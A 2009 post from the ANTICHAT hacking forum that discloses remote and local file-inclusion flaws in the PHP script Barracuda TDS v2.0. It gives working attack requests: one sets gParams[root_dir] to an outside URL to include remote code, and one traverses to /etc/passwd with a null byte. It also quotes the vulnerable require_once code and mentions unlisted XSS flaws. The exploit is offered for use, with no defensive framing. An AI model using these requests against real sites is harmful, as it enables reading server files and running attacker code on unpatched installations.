HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу Barracuda TDS v2.0 RFI \ LFI
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Barracuda TDS v2.0 RFI \ LFI
  #1  
Старый 18.03.2009, 22:42
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию Barracuda TDS v2.0 RFI \ LFI
Barracuda TDS
Версия: 2.0
Скачать: http://skripters.com/engine/download.php?id=555
Зависимость: register_globals = on

RFI \ LFI (укомплектовано раскрытием путей))
Запрос:
include_components.php?g_allowed_array[components][]=a&gParams[root_dir]=http://google.com/?
include_components.php?g_allowed_array[components][]=a&gParams[root_dir]=../../../../../../../../../../../../etc/passwd%00
Уязвимый кусок кода:
PHP код:
$g_all_objects = array();
reset($g_all_objects);
foreach($g_allowed_array['components'] as $key)
{
    require_once($gParams['root_dir'].'components/'.$key.'.php');
    $key = substr( $key, 0, strlen( $key )-1 );
    $a = 'g'.$key;
    $b = 'c'.$key;
    $$a = new $b($gComponent);
    $g_all_objects[] = $a;
} 
Еще присутствует мешок XSS'ок, только накой они нужны, если есть RFI?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Mega File Hosting [ RFI/ LFI ] GarryCka Веб-уязвимости 17 18.03.2009 02:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка

Загрузка чата...